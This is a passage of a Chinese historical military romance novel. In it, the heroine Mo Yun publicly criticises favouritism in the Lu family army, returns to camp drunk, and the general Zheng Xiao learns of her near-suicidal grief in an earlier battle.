整个军务大会持续了将近一个时辰，元帅说让大家修整一下，一炷香的时间，活动活动筋骨再继续讨论。众人起身，沧海他们都走出营帐，各司其职，乘着这间隙去看看上午的练兵情况如何。
正啸望向元帅和魏副帅轻声问道：“父帅，魏副帅，之前我向您二位提的军中论功提拔之事，元帅和魏副帅考虑得如何！”
元帅看着正啸手中文书若有所思，军中出了细作导致裴桥大患之事，让他颇为恼怒，亦让他对正啸把控全军的能力有了些许担忧！
魏副帅看向正啸转圜的说道：“啸儿，此事我和元帅商议了，皆认为孩子们还缺乏历练，太过稚嫩，莽撞！”
正啸深吸一口气顿时双眉微蹙，执礼站在正啸身后亦轻叹了口气，茉云打着哈欠伸懒腰走出营帐醒醒瞌睡，亦见到了正啸紧锁的眉头，待她回来走到营帐门口，看见了元帅和正啸皆脸色铁青，而若辰、执礼和东山眼中闪过一丝尴尬之色，显然是他们父子刚发生了争执……
元帅看见众人陆续进营帐，再未言他，抬手说道：“对了，将王强那小子这些日子出关探路修整的战局图取来，咱也议议！”
东山迅速从元帅的案几上取来了新的行军图，摊开在桌案上，众人都围了过去，不约而同的看来，元帅和魏副帅指着说道：“我和副帅商议，新建的哨岗营，就建在此处。”
众人皆信服的点点头，按照地形图，此处确是登高望远，俯瞰全局的好地。
可正啸却若有所思的看向行军图说道：“父帅……”
“你又有何意见？”元帅显然刚才的气还没消。
“如若我记得不错，此地小路错综复杂，山道隐蔽，是个易攻难守之地，而且……”
“你记得？你何时去的！关外几年，变幻莫测！这是他们刚带回的行军图。”元帅没好气的说道
东山立即上前缓和说道：“元帅，其实这个据点并非今日军务会商讨的要点，您昨日不是说还要派人再探，再确定吗？”
元帅才没好气的收回了瞪向正啸的眼神，正啸此刻锁紧双眉咬紧了牙关，可是众人在，他也没有说什么。
执礼站在正啸身后深吸一口气亦没有说什么，而此时突然伸出一只手，抽过执礼手上的公文，执礼愣了一下本能的握紧公文，此文书乃正啸呈给元帅和副帅单独阅览的机密公文，可是当他看清是茉云时，他轻轻松开了手，茉云打开扫了一眼，便还给了执礼……
茉云顿时瞌睡好像醒了，锐利的气势周身散发，眼中带着一丝狠戾的光，若辰亦看到了，在茉云耳边轻轻笑着说道：“那可是正啸的父帅。”
执礼看着茉云，忽然想起了宋大人曾经说过的话，打一开始，茉云不论捅了多大篓子，正啸皆会照单全收的相护，反之亦然，正啸身边不论何等棘手之事，到了茉云这儿定可迎刃而解。别看吵得天翻地覆，互相无半句好话，可他两彼此间那坚若磐石般的信任，厚爱从无多言。
234.锐利
整个军务会议，茉云始终一言不发，执礼都不禁和东山互看一眼，然后看往茉云的方向，东山微微笑了依旧是一脸的波澜不惊。
直到东山说今日军务会议议程已经讨论完，待元帅宣布散会了，茉云好似解脱一般猛地坐直了身子，脸上带着一丝被救赎的表情。她揉了揉眼睛一副准备起身离开的神情。
“诸位将军再留一下。”元帅抬手说道，然后看向茉云亦温和的笑了说道：“方校尉也留一下，你屡立大功，第一次参加军务会议，可有何建言啊！”
茉云顿时一脸故作错愕地看向元帅，一副没搞清楚状况神情愣在原地，好似兴高采烈准备去吃饭，被人强行扣下神情。小马他们再也忍不住的乐了，谁都知道茉云素来讨厌议事，当年在中州在外捉贼她能跑八条街，走进宋大人书房议事汇报，就昏昏欲睡。
“元帅，我……人微言轻，亦不太懂军务，妄言怕说得不妥！”茉云看着元帅一脸坦诚的说道。
正啸闻言顿时微微挑眉望向茉云，茉云余光看见正啸的眼神差点没有忍住笑意，她自己也不知道为何，这家伙……总是自己尾巴一翘，他就知道自己要作妖了！
“诶，想到什么说什么，但说无妨！”元帅笑着大手一挥说，众人皆知道元帅对茉云那是何其欣赏看重。
“那好，末将有几个问题想问大将军！”茉云瞬间抬头凌厉的望向正啸。
正啸冷冷的没有搭理她，若辰则嘴角微扬扶着椅背稍稍坐正，待好戏开场。
“您刚是要处置执礼军师吗？大将军英明！”茉云抬目望向正啸故意扬声说道，“若要处置执礼军师，是不是连上次他胡乱写信，导致裴关大祸的罪也一并罚了？”
此话一出，营帐内顿时安静了片刻，所有人都微微一愣。正啸眉头微皱，目光冷冷地扫向茉云。
一旁的威行愣了一下，下意识开口提醒茉云：“那信不是军师写的。”
“我知道！”茉云冷笑一声，眼神锐利如刀扫向执礼，“可若不是他一天到晚，写些不带公印的私信到处乱发，怎得边鸿远会被误导？”
此话一出，众人皆露出几分震惊之色，彼此对视了一眼，气氛瞬间凝重了几分。若将执礼罪名与裴关大祸牵连，无疑就是重罪了！执礼眼神亦微微一颤……
“就连我在南元，都收到了军师的信。什么？大将视察关卡，务必前去相见，虽说也就几个时辰的马程，但这大冬天的……”她话锋一转，挑眉看向执礼，“我是不认识大将军还是怎的？非要让我去见见他，挨他一顿骂，您便舒坦了？”
“扑哧！”一直在努力保持严肃的威行听到这话，再也忍不住，立刻低下头，肩膀一抖一抖地忍着笑。
执礼则无语地看向茉云……这是什么时候了，她还在火上浇油！再说此时牵扯他的事，又为何？
茉云却丝毫不为所动，目光转向正啸，继续说道：“所以，账得从头算起！怎得军师提点大将军的妻弟，不见罚？如今帮我抓个细作，就罚！难怪军中传闻，卢家军，卢家军，只有卢家才有将军！”
此言一出，犹如在平静的湖面掀起了滔天巨浪，整个营帐瞬间寂静无声，仿佛连呼吸声都消失了。众人纷纷看向茉云，眼中带着深深的震惊和难以置信。这话，已经不仅是质疑军中事务，更是直指卢家军赏罚不明，提拔不公，这可是指责卢家军公正严明的根本。
站在一旁的东山忍不住目光扫向执礼，执礼抬眼与他对视，眼神复杂中多了一丝错愕——元帅虽未言语，但眼看神情变得严肃。
然而，还未等元帅发话，周总教头便猛地一拍桌案，站起身来，声音如雷般响彻整个营帐：“方校尉！没有轮到你来质疑卢家军！你居然敢当着元帅与诸将的面，胡说八道，说出如此不敬之言？”
营帐内的气氛瞬间变得极其紧张，所有人都屏住了呼吸，连沧海都锁紧了眉头望向茉云。
然而，茉云面对周总教头的怒火，却显得异常平静，甚至带着几分不以为然的笑意，她语气平静而不紧不慢继续说道：“怎得位高权重的将军们听不了小兵之言了？我以前倒以为人多嘴杂，多有不同见解。可今日参会，一看便知，根本就是根深蒂固。”
她停顿了一下，抬手指了指营帐内坐着的将军们，随后继续说道：“我就问几个问题——”
茉云声音不大，却透着一股咄咄逼人的力量，所有人都不由得看向她。连元帅的眉头也微微皱起，却还是望向她。
茉云语气平淡却锋利如刀：“今日参会的将军们，是否皆是当年卢家老卢帅提拔的家将出生。而这些从南境成长起来的参将们，却只能站着。时间久了，这是不是会成为一条不可跨越的鸿沟？更别说我这个校尉了……”
她的话让营帐内的空气仿佛瞬间冻结。她的目光直接点破了军中最敏感的一点——新老派系。这一刻，众人竟无一人敢开口反驳，甚至连周总教头也被这句话噎住，脸色难看却没有接话。
“我问大将军第二个问题？”茉云语气更冷，目光直视正啸，声音带出一丝嘲讽，“昔日我以为军队靠的是实力，提拔是论功行赏，能者居之，只为让全军将士都能奋勇向前、力争上游。但是否是我想错了？军队选拔，是跟宫里选秀一样的？只要出身好，再丑的也能上？”
她冷笑一声，随即语气一沉：“就好似裴桥重关，边鸿远为主将，陆润吉为副将？是边参军比陆参军能耐？还是他战功卓越经验老道？大将军，军中人不瞎，众人心里都有数。这样的安排边鸿远带得好队吗？服众都难，我就头一个不服！”
营帐内一片死寂，谁都听出了她话中的深意——边鸿远是程老将军的义子，正啸妻子的义弟。而陆润吉，尽管好勇善战，却被排在边鸿远之后，此事军中无人敢提，但也无人不知。
其实诸将显然对这一切心知肚明，却不敢发言。气氛像被压上了一座巨大的石头，沉闷得令人喘不过气。
茉云最后抬头看向正啸，目光中依旧锐利，“要说完全是任人唯亲，我倒又很费解。大战在即，理应集结所有力量，罗虎将军是您妹夫，他统领虎翼营，是我朝骑射营的顶峰。而鹿里将军的骑射营呢？昨日逮捕敌方杀手一战便可看出，新兵还待时日历练，为何罗将军和虎翼营不参与敌战？”
正啸深吸了一口气脸色依旧冷峻，但那双眼眸却藏着一丝深邃和无奈。执礼站在一旁，长长地叹了一口气，茉云所说的桩桩件件，其实都是少主曾与元帅据理力争之事。
茉云的语气中带着不加掩饰的锋利与挑衅继续说：“都说卢家军传承家风，我倒想问问大将军，听闻当年您爷爷老卢帅，用人识人公正严明。当年就连你二叔打了败仗，都被他骂得狗血淋头，直接赶回京城，严令再不得入军！怎到了您这儿，倒成了这般模样了？”
此话如雷贯耳，所有人都屏住了呼吸，整个营帐一片死寂。
茉云嘴角扬起一抹冷笑，直视正啸毫不退缩，微微扬起下巴，语气冷静而坚定：“罗虎将军是我师兄，这点我还是了解他的。他一心报效朝廷，立志继承其父遗志，誓要随您平定南境，鞠躬尽瘁。而我，身为南境人，志在守卫家园。可您呢？偏偏将我们这些赤诚的志士都排除在外，不用！”
她的话带着一股无法掩盖的愤怒与不甘。营帐中的气氛越发凝重，正啸终于抬眼看向茉云，眼神深邃而凌厉。
执礼和若辰对视一眼，若辰轻轻忍着笑，执礼亦深吸一口气，她的每一句话着实直击要害和正啸同心同德，奈何她人就是这般锐利！
他们在座之人皆知，罗虎之所以被
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如此安排，并非正啸之意，而是因为卢家长辈的考量。罗家全家战死沙场，如今只剩下罗虎一个血脉相承，元帅和卢家老太君不忍他无后之前再入前线，唯恐罗家断了香火。
然而，罗虎和正啸都对此却一直有微词，奈何无法违抗家族长辈的意志，营帐内沉默了片刻，终于有人打破了这份压抑的寂静。
震北深吸了一口气，眉头紧锁低声说道：“茉云，你不懂。罗虎之所以被如此安排，是因为元帅和老太君对他的厚爱……”
震北的话语中透着一丝沉稳，但也带着一份温和的体谅，他亦是卢家义子，他知道老太君的苦心。
然而，茉云闻言却冷冷一笑，她抬起头语气中透着一股豪迈与坚定：“我是不懂，若是厚爱我，那便认可我，欣赏我，而不是禁锢我！我辈心中炙火，敢较日月天光，本该踏破凌云，乘风直上！”
她的话掷地有声，宛如利剑刺破了营帐中良久的沉默。营帐内的众人不禁纷纷抬起头，军中皆为热血之人，不禁都将赞许的目光投向她——感受她眼神中透着熊熊火焰，带着不可撼动的坚韧与豪情。
正啸并没有开口，可是他脸上的神情已透出无法克制的异样，他亦知道她之前就是剑指他父帅，可是这句话同样也说给自己听。茉云的目光扫过众人，最后停在正啸身上，两人四目相触，茉云的眼神中依旧带着那抹不屈的锋芒。
正啸静静地看着她，自中州她与自己相识开始，历尽磨砺，九死一生，可这一双锐利的双眸丝毫未变，她这全身的棱角亦未磨平半分。
茉云顿时眼角微微上扬，又透出了那丝狠戾说道：“而且若论世事，并不是您卢家厚爱之人，便一定是好结果，洪将军，顾……”
正啸原本冷峻的面容瞬间闪出怒意，眼神如刀带着不可忽视的警告低吼道：“够了！”
茉云被这一声吼怔住了半刻，没好气的看向正啸，两人四目相对，茉云的眼神好似在说，够了什么够了，你爹就是这般食古不化。
正啸紧紧皱眉，目光冷沉地看向茉云，眼神分明在说，行了，方茉云，把自己戏收收，够了！
可是两人这番眼神交流，却让营帐安静了下来，众人都悄悄看向两，正啸才立即收回了眼光，指着营帐外没好气的说道：“方茉云，你可退下了！”
茉云旋即忿然一把抽过桌案上的行军地形图，转身就走出了营帐，走出营帐的瞬间，嘴角不自禁透出一丝笑意。
元帅却没有像往常一样，他的脸色异常严峻，目光复杂，显然情绪并不高，他深吸了一口气锁紧双眉沉默了良久，众人顷刻亦不敢出声。
正啸望向元帅，声音低沉地宽慰道：“父帅，您莫放在心上！”
话未说完，周总教头接过话头，语气亦是安慰：“是的，元帅，这丫头素来爱夸大其词。什么军中非议，都是她的一面之词，您不必介怀！”
谁知，元帅的脸色不仅没有缓和，反而更加阴沉。他忽然猛地抬手，抓起桌上的公文，狠狠地朝正啸砸了过去，怒吼道：“这丫头还不是帮你！”
正啸白白挨了这一下，没挡着亦没有动，只是站在那里眉头微蹙，脸上写满了无奈。
“都给老子滚！”元帅指着营帐门怒不可斥的骂道。
众人被赶出了营帐，走出几步之后，若辰第一个没忍住，肩膀一抖，随即低声笑了出来。执礼紧接着笑出声，索性不再压抑，低头用袖子挡着嘴角，尽量不让声音太大，传到元帅营帐中。
正啸瞪了他们一眼，眼神冷得像寒冬的霜雪，他两却丝毫不在意的幸灾乐祸。正啸压根没再搭理他们，径直回了自己营帐，忿然坐回案几后的椅子上，手撑着揉了揉太阳穴，可是想起茉云那盛气凌人，张牙舞爪的模样，他不知为何嘴角又荡起一丝笑意……
235.渴望
夜里，军营的四周一片寂静，只有零星的篝火映照着黑暗中的哨岗。边关的风将旷野的寒意气息送入军中。
元帅披着披风，缓缓登上了哨岗，目光深沉地俯瞰着整个军营，眺望远处的边境。那灯火下忙碌的士兵和边关线的暗影，似乎都承载着他无尽的思绪。他站在风中沉默了许久，依旧眉头紧锁，面容尽显深沉。
一道熟悉的脚步声从身后传来，元帅回头一瞥是正啸，正啸平静的表情中透着一丝关切，他知道自己父帅一日都没有进食了。他缓缓走到元帅身旁，与自己父帅一同站在哨岗之上，目光也投向了远方。
“父帅，夜里风大。”正啸的声音中带着一丝关怀。
元帅没有答话，只是长长地叹了一口气，良久才缓缓开口，语气中夹杂着些许的感慨：“不用安慰我，爹没事，茉云那丫头虽言辞如利刃，可她是在帮你，爹不恼，反而庆幸无论何时何地，她都会坚定的选择支持你……爹只是想起了很多过去的事。”
正啸站在一旁，没有插话，只是静静地听着，他知道父帅心情低落。
元帅的目光深深凝视着远方的黑夜，说道：“我想起了老顾和洪恺那孩子，他们的背叛着实深深地刺痛了我。我一闭上眼，就能想到当年老兄弟们拼死守护边关的样子，若是老洪在天之灵知道着洪恺那孩子……他将如何自处！”
说到这里，元帅的声音顿了顿，隐约透着几分哽咽。
“我也知道，你心中不满我对这些老兄弟孩子们的偏颇，但你可知道？不是为父刚愎自用，不愿提拔你一手培养的新将，而是我怕他们成长得太快，失了本心！”
元帅的话语重心长，语气中透着无尽的疲惫与挣扎。正啸一直静静站在父帅旁，亦没有说话。
元帅目光中带着一丝深深的愧疚：“而且你看，罗家一门忠烈，他爹，他几个叔叔，都……可如今诺大的罗府，只剩下罗虎一人。而军营里其他那些孩子还年轻，我总觉得哪怕再看一看、再等一等，他们的路会更稳些。”
他顿了顿，随即又低声说道：“啸儿，你爷爷临终时，我说我何德何能接下卢家军。你爷爷说管事用人，当松弛有度。说他自己太过严苛，而我素重情义，将卢家军交给我挺好。可为父如今老了，卢家军交给你才是最好的！”
正啸抬眼看向元帅，目光坚毅，带着无比的坚毅和笃定：“父帅，您还健朗！我明白您的担忧，敌人用心险恶，而卢家军身边居心叵测之人常有，但这些我从不畏惧。兵来将挡，水来土掩。峑戎，终有一日被灭，南境，也终将平定！”
他的声音宛如一颗定心丸，让元帅的眉头不由自主地舒展开来。元帅看向自己儿子，嘴角终于露出了一丝欣慰的笑意，眼神中透着难以掩饰的骄傲。
这一刻，元帅似乎想起了许多年前，自己父帅，也就是正啸的爷爷，临终最后对自己说的话：“正啸会是整个卢家军和南境的希望。”
元帅看着眼前威武霸气又冷静睿智的儿子，眼中隐约泛起了一抹泪光。他轻轻拍了拍正啸的肩膀，语气低沉而带着一丝感慨：“好……卢家军交到你手上，为父就放心了。”
夜风依旧在哨岗上呼啸，而父子两人的身影在月光下显得格外挺拔与坚定，即使整个边关的重量都压在了他们的肩上。而且这一刻，元帅终于感到了一丝释然……
执礼亦轻轻松了口气，元帅和少主这些年来治军路上总有些隔阂和磕碰，好像这一刻都烟消云散，元帅似乎此刻亦终于感受到，是时候可以将一切慢慢交给自己儿子了，因为他能感受正啸望向边关时，那无法撼动的决心和壮志。
就在此时，营外忽然传来一阵高亢的歌声，歌声中夹杂着几分凌乱，回荡在冷寂的边关上空。元帅和正啸正站在哨岗上，被这突如其来的动静吸引，都转头向声音传来的方向望去。
远处的黑暗中，两匹马正疾驰而来，马上的身影摇摇晃晃，显得十分不稳。正啸顿时眉头一皱，目光一沉……
“雄山！”他沉声喊道。
值守的参将雄山立刻跑来，抱拳应道：“大将军有何吩咐？”
“让石川和太易带队出营看看，是什么情况。”正啸指向营外说道。
雄山不敢怠慢立刻点头，高声命令道：“石川，太易，带队出营查探！速速来报！”
“是！”
不久，带队前去查探的士兵便匆匆赶回来，连报告时的语气都带着喘气：“报告，来人是方校尉和朗川公主……”
“什么？”雄山一愣，随即追问，“她们两个怎么了？”
那名士兵挠了挠头，表情有些迟疑的说道：“看样子像是喝多了。”
这句话一出口，雄山瞬间愣在原地。
“是，今日那丫头跟我这儿请了令，为谢朗川公主仗义相助，请她去城中游历一番！”元帅不慌不忙的指着说道，“开门迎他们进来！”
“启禀元帅……她们……有可能走不动道了！”
正啸闻言，额角微不可察地抽了一下，随后一声不吭地忿然转身下了哨岗，而元帅则抿着嘴角，也笑着走了下来，往营外走去。
两人走出营，就看见朗川公主和女将军已经从地上挣扎着站了起来，靠着彼此摇摇晃晃地相互搀扶着往前走。朗川公主一手按在自己的腰上，摇头晃脑地说道：“到了南营吗？”
“应该是到了吧……”茉云迷迷糊糊地揉了揉眼睛，看清了旁人是石川和太易，她大手一挥，不甚清醒地说道：“公主，你快回去休息吧！我就……就睡这儿。”
朗川公主晃了晃脑袋，困惑地问道：“你为何不回去？”
茉云眯着眼睛醉态十足的说：“我回去？卢正啸那混蛋铁定会收拾我！”
这话一出口，正好被赶来的众人听了个正着。石川和太易早已忍不住捂着嘴低笑，憋得满脸通红。
元帅在一旁也听得清清楚楚，一时竟没忍住也乐了，看向正啸说道：“诶，你将人扶进去吧，茉云身上还有伤。”
正啸脸色顿时冷了几分，目光如刀般看向茉云，却不想茉云忽然听见了元帅的声音，顿时眼前一亮，神情立刻换了另一副模样。
“元帅！”她高兴得快步冲上前，一把抓住元帅的手臂，手忙脚乱地从兜里掏出一只用纸包着的烧鸡递了过去，醉醺醺地说道：“元帅，我给你带了只烧鸡，可好吃了，等会儿别让人揍我！”
元帅顷刻被逗得喜笑颜开接过烧鸡，说道：“好！看，还是茉云孝顺！”
这时，朗川公主也醉醺醺地站稳了一些，大声说道：“方茉云，你天不怕地不怕，怎么就怕他？”
茉云闻言，立刻摇摇晃晃的大手一挥怼道：“谁说我怕他！”
然而，话音刚落，她一转头，便看见正啸正站在原地，脸色冷若寒霜，目光如炬地瞪着她，显然已经忍到了极点。
这一眼，让醉意上头的茉云顿时心中一惊，她脚下一软摔坐到地上，指着卢正啸就有些慌张的说道：“卢……卢正啸，君子动口不动手啊！”
将士们再也忍不住了顿时哄堂大笑，雄山、石川和太易等人更是笑得前仰后合，甚至连跟随而来的执礼和东山也忍不住低头掩面而笑。
正啸站在原地，脸上的无语几乎溢出，但最终还是没
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有发作，深吸一口气极力的平复自己的情绪。
元帅则拿着烧鸡，满脸笑意地说道：“快把茉云送回营帐，外面天寒地冻的别冻着她。”
正啸无奈地叹了一口气，大步走上前去，一把将茉云拽起，然后吩咐人将朗川公主送回营帐。
而茉云在正啸手中还挣扎了两下，挣扎不开，索性不挣扎了，嘴里还喃喃跟元帅说道：“元帅，本来还想给你带壶酒的，结果你看……幸亏没有，被逮了吧！”
众人笑得更厉害了，正啸一脸冷峻地拎着已经醉得七荤八素的茉云往营中走。走入营中，她身上还有伤，被他这样拉扯着手腕，一阵疼痛顿时让她眉头紧蹙，忍不住发出一声轻哼。
正啸察觉到了神色微微一动，旋即松开了手，却没想到这一松手，茉云直接倒在了地上，毫不客气地瘫成一滩泥。
“方茉云！”正啸额头青筋一跳，都快抑制不住火气。
可茉云丝毫不为所动，还随意地抓了抓地上的干草，摊好了，打算直接在干草上睡过去。千山站在正啸身旁都忍不住忍着笑，余光望向气得不轻的正啸。
正啸看见她这心满意足的陷入酣睡的醉态，他最终无语的叹了口气，被她这傻样气得都无可奈何了，他弯下腰，双手将她从地上扶起来，却没想到她整个人就像没骨头似的往他身上倒去，正啸索性直接将她整个人背了起来。
茉云趴在他的背上，迷迷糊糊地贴近他的耳边，忽然轻轻说道：“让我去守裴桥吧……”
正啸脚步一顿目光变得深沉，他紧了紧手臂，将她背得更稳一些，深吸一口气说道：“我不想。”
茉云用几乎都快听不见的声音轻轻说：“可我也不想，在南元一个人等……”
正啸脚步忽然停滞，侧头看向趴在他肩上的茉云，可此时茉云瞬间彻底熟睡了过去，他没有再说什么，背着她继续往营帐走去。
进入茉云营帐，正啸直接将她丢到床榻上转身就走，茉云却抱起被子下意识地缩了缩，嘴里还不满地嘟囔着：“军营好冷……”
正啸正转身离开，闻言瞬间停下了脚步，他回头看了看缩在被子旁的她，他叹了一口气走回床榻旁，伸手将被子给她盖好，然后扯下自己披风，轻轻地盖在她的身上。
俯身之时，才看见她脸上满是摔倒时沾上的泥土。他皱了皱眉，起身走到桌边，拿起了她的手巾，在水盆中浸湿，拧干后走回床边，俯下身子，给她擦拭脸上的污垢。
正啸又岂会知道如何为人洗脸，或许下手太重，又或许是因为水太冰，茉云猛地睁开了眼，双眼直直望向正啸。
正啸手上一顿，拿着手巾的动作僵在半空，一时间竟有些窘迫。然而，茉云眼神涣散地看着正啸，然后嘴角荡起一丝甜美的笑意，低声喃喃了一句：“诶，又梦见你了？”
她的声音那么自然，好似梦里见到他是最寻常不过的事。说完，她便转过身，抱着被子又沉沉地睡了过去。
正啸愣了一下，眼神渐渐从愕然转为柔和，手巾依旧握在指间，却久久没有动作。这一句简单的梦呓，却像一颗石子投入他心底的湖泊，激起了无数波浪。
他低头看着榻上睡得安稳的她，喉间微微滚动了一下，他两都是如此刚烈之人，彼此从未刻意流露过一丝柔情，可她此刻一句轻轻的梦呓好似瞬间将他坚硬的防线击溃，像一缕温柔的丝线缠绕住了他的心，瞬间让他克制不住内心翻涌的情感，无止境的渴望一阵阵冲击着理智。
他迅速起身，用尽最后一丝克制转身离去，帐中重新归于宁静，而床上的人却依旧睡得酣畅，似乎对这一切毫无察觉。
236.乐意
夜色如水，月光洒在大营如此静谧而温柔，而正啸的脸上不再有平日里的冷漠与果断，他能感受到，自己的血液好似都在沸腾，心在跳动的声音……在这寂静的夜里愈发明显！
可是他每踏一步，周遭的一切的肃穆和冷酷都亦在深深撞击他，这是军营，是整个扛在自己肩上的责任，他迈步踏在这冬日寒风中，让刺骨的冰冷卷袭自己全身，迫使自己一步步远离，一步步清醒。
正啸抬眼望向那朦胧的月色，眼中喷张的欲望渐渐化作了一股深藏的柔情，哪怕无法靠近，但心中依然蕴藏着一种他此生未体会过的欢愉。
良久他才走到自己营帐前，却瞧见老马的身影。他在月色下显得有些踌躇不安，来回徘徊，似乎眼中亦有挣扎，眉宇间又透着紧张。
正啸停下脚步，望向他问道：“老马，有事？”
老马听到正啸的声音，显然被惊了一下，立刻抬起头看向正啸，眼神中瞬间透出复杂的情绪——有担忧，有挣扎，但顷刻他便打定主意的坚定说道：“大将军，我有事禀报。”
正啸没有多问，抬手示意让老马随他入营帐说。
老马旋即跟着正啸走进了营帐，进门后，他目光一沉，忽然抱拳跪下：“大将军……”
正啸伸手便将他扶起：“不必行这些虚礼，若有事直言无妨。”
老马看向正啸，眼神中充满了复杂的情绪，最终他还是深吸一口气，低声说道：“大将军，我思前想后，还是觉得必须来跟您说……茉云，或许不适合独自守裴桥。”
这句话一出营帐内一片安静，正啸眉头微微一皱，而一旁素来沉稳的千山都忍不住转头看向老马，目光中透着一丝惊讶。老马莫非是对茉云的能力提出了质疑，但从他的神情中，显然并非出于不敬，而是夹杂着深深的担忧。
“你坐下慢慢说。”正啸沉默了片刻后说道，并抬手示意吩咐千山去给老马泡杯暖茶。
千山心领神会的离开，老马坐在一旁，显然心中忐忑不安，但还是咬了咬牙，硬着头皮说道：“大将军，我今日前来是为了告诉您，当日守裴桥的一些情况……陆润吉未言及，亦未察觉之事！”
正啸的缓缓坐下，双眼温和的望向老马，示意他继续说。
老马深吸一口气，像是在下极大的决心，他将手放在膝盖上用力攥紧，说道：“当日峑戎的集益关前骂阵……诓骗茉云，他在关下对她说，大将军已在吉山牺牲，甚至还说……说您是和小马一起走的……他说得惟妙惟肖，那语气和神情，我们险些都信了。”
正啸的眉头瞬间皱起，他没有说话，只是静静听着。
老马抬起头看向正啸，继续说道：“当时，茉云定然亦信了，所以她神色瞬间就变了……她那时的眼神，我此刻还记得。那一刻，她的眼中……完全没有任何理智了。她忽然跳上了城墙，就要飞身而下，关下就是数万幽戎铁骑，她根本不可能活着回来……她是想跟幽戎同归于尽。”
听到这里，正啸放向案几的手停在了半空，目光中闪过一丝震动，他的指尖紧了紧，却依发一言。
老马回忆着，声音越发低沉：“大将军，那时候所有人都乱了，我拦也拦不住……幸亏老天保佑，送信的信鸽及时到了。而且……小马和茉云早有约定，若是您安然无恙，便在信鸽腿上系上一根红绳。”
正啸目光凝视着老马，脸上的表情依旧冷峻，但心中早已掀起了的波澜。
老马低声说道：“是那根红绳，让她瞬间清醒过来。她知道您安然脱险了……否则只怕……”
他的话未说完，但言外之意却已足够清晰。营帐内再次陷入了短暂的沉默，只有烛火微微跳动，映照出正啸棱角分明的脸庞。他的目光幽深，像是翻涌着无尽的情绪。
他眼前仿佛浮现出那片战火中的场景，茉云站在城墙之上，她决议和敌人同归于尽的神色，以及她因为那一根红绳瞬间清醒过来的模样……
良久之后，正啸才抬起头，看向老马问道：“这些话，除了我，你可曾告诉别人？”
老马连忙摇头说道：“绝无！我只是……心中不安，觉得此事必须告诉您。”
正啸点了点头却没有再多说。他的手放在桌案上，微微握紧，指节因用力而微微发白，显然心中翻涌的情绪并不如面容这般波澜不惊。
“大将军，我从未质疑过茉云的能耐，可她毕竟还年轻，我……不想她有去无回……”老马诚恳的望向正啸说道。
“好，我知道了！”正啸目光深沉地看着老马，点了点头，：“谢谢你告知于我，我会慎重考虑的。”
老马听到这句谢谢，愣了一下。他望着正啸，这位冷静刚毅的大将军，为何会在这种情况下对他道谢。
老马迟疑了片刻，抱拳行礼：“那属下告退，大将军早些歇息。”
正啸微微颔首，声音沉稳而温和的说：“好。”
他目送老马离开，直到营帐门帘重新落下，他的目光才慢慢收回。营帐内重归寂静，烛光摇曳，映在他那深邃的眼眸中，随着思绪翻涌，久久未能平静下来。
他闭上眼脑海中不断闪过老马方才的讲述，和这些年来茉云的面对绝境时的反应——她若没有认识自己，没有走进这场战争，她这一生定然一直是会拼尽一切，去争一丝生存之机的人，绝不会有任何时刻选择走向不归路，可她自从认识自己开始……
他深吸了一口气，觉得胸口堵得发闷。他站起身走出营帐，冷风扑面而来。
夜色笼罩，星光微弱，而就在此时，元帅营帐的亲兵来了，传正啸过去议事，他点了一下头，便迈步走向元帅的营帐。
正啸掀开帘子进去时，映入眼帘的，是元帅正与魏副帅、崔老将军、周总教头谈笑风生的画面。他们围坐在案旁，桌上摆着一盘被吃得只剩下骨头的烧鸡，香味还未散尽。
元帅见他进来，立刻笑着挥了挥手：“啸儿！你来得正好，我刚和你魏叔、崔叔、周叔商量过了。就按你之前的建言，该提拔的就提拔，雄山和润吉这些年轻人，都是好样的，将来必成大器！你魏叔也说了，边鸿远嘛……现在确实还差点火候，不是干将军的材料，就让他再历练几年。”
魏副帅等人亦放下了茶杯，纷纷附和的点点头。
元帅继续说道：“至于罗虎——他日日嚷嚷要跟你上阵，本帅也就随了他吧。我明日就写信回京，向老太君禀明此事。”
正啸眼神微微一动，他没想到父帅转变如此之快。
“你也不用费解……”元帅大手一挥，朗声笑道：“茉云那丫头今日的话，一片赤诚，着实也让我等醍醐灌顶！”
正啸这才微微一愣，眼神中透出一丝无语的忿然。执礼和东山，两人却早已按捺不住地互相看了一眼，嘴角扬起了一抹笑意，他们都知道，之前正啸为了这些军中提拔新将之事，跟元帅反复商讨了好几月，讲理说情甚至据理力争，但始终未能让元帅点头。可如今，方茉云一通骂和一只烧鸡，便迎刃而解。
魏副帅忽然转头，坦率而直白地看向元帅说道：
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“元帅，我怎么觉得，方茉云那丫头说话做事隐隐有几分像干娘卢老太君。”
此话一出，周总教头立刻冷哼了一声，语气带着几分忿然：“魏哥，你这可就太看得起那丫头了，她一个小丫头片子，怎能和卢老太君相比？”
崔老将军却没说话，只是捋着胡须，意味深长地看了一眼正啸。
元帅听到这话，却哈哈大笑：“诶，你们啊，不知道，我娘——你们的卢老太君，她自己都说她不如茉云。我娘还说过，她和我媳妇加起来都没方茉云狠。”
话音未落，营帐中顿时哄堂大笑，魏副帅和崔老将军都笑得直摇头，而周总教头虽然没说什么，但嘴角显然也被这话逗乐了。
崔老将军捋了捋胡须，缓缓站起身来：“夜已深，元帅也该休息了。我们就先告退吧，啸儿留下来，扶元帅到里头歇息。”
元帅摆了摆手，满脸笑意：“好好好，你们都散了吧，大家也乏了。”
众人纷纷起身告退，营帐内很快安静了下来，只剩下正啸留在元帅身旁。元帅看似心情大好，被正啸扶着走到里间的床榻前，躺了下来，拍了拍身旁的毯子，脸上带着几分满足：“这丫头带的烧鸡，味道真不错！我们几个老家伙大快朵颐，都没给你留一块！”
正啸无语的拿起一旁的被子替他盖好，轻声说道：“她定然是知道自己白日里说得太过，买只烧鸡想着补救些。奶奶和我娘素来坦荡，没她这些心思。”
元帅听了这话眼中带笑，却忽然轻轻叹了一口气：“茉云这孩子，灵气十足。你娘当年要是也有她这般机灵，少吃不少苦啊。”
正啸一怔望向元帅，低声说道：“爹，对不起……我您想起了娘。”
元帅抬起手，笑着拍了拍正啸的手臂，语气柔和的说：“这有何对不起？爹日日都会想起你娘啊。”
正啸神情中带着几分沉思，忽然深吸一口气，问道：“爹，若是早知道娘当年会殉国，您还会让娘随军征战吗？”
元帅闻言目光微微一沉，脸上露出一抹怅然，过了好一会儿，他叹息道：“我从来不后悔让她入军。你娘的性子你也知道，她若是在京城和你奶奶一起关在卢家，定是度日如年，生不如死。爹后悔的是……在她还活着的时候，没有对她更好一些，让她觉得来人世走一遭，值！”
元帅的声音低沉而带着几分感慨，仿佛陷入了某种回忆。他的目光有些飘远，嘴角却带着一丝浅浅的笑意，仿佛在追忆那段不再复返的时光。
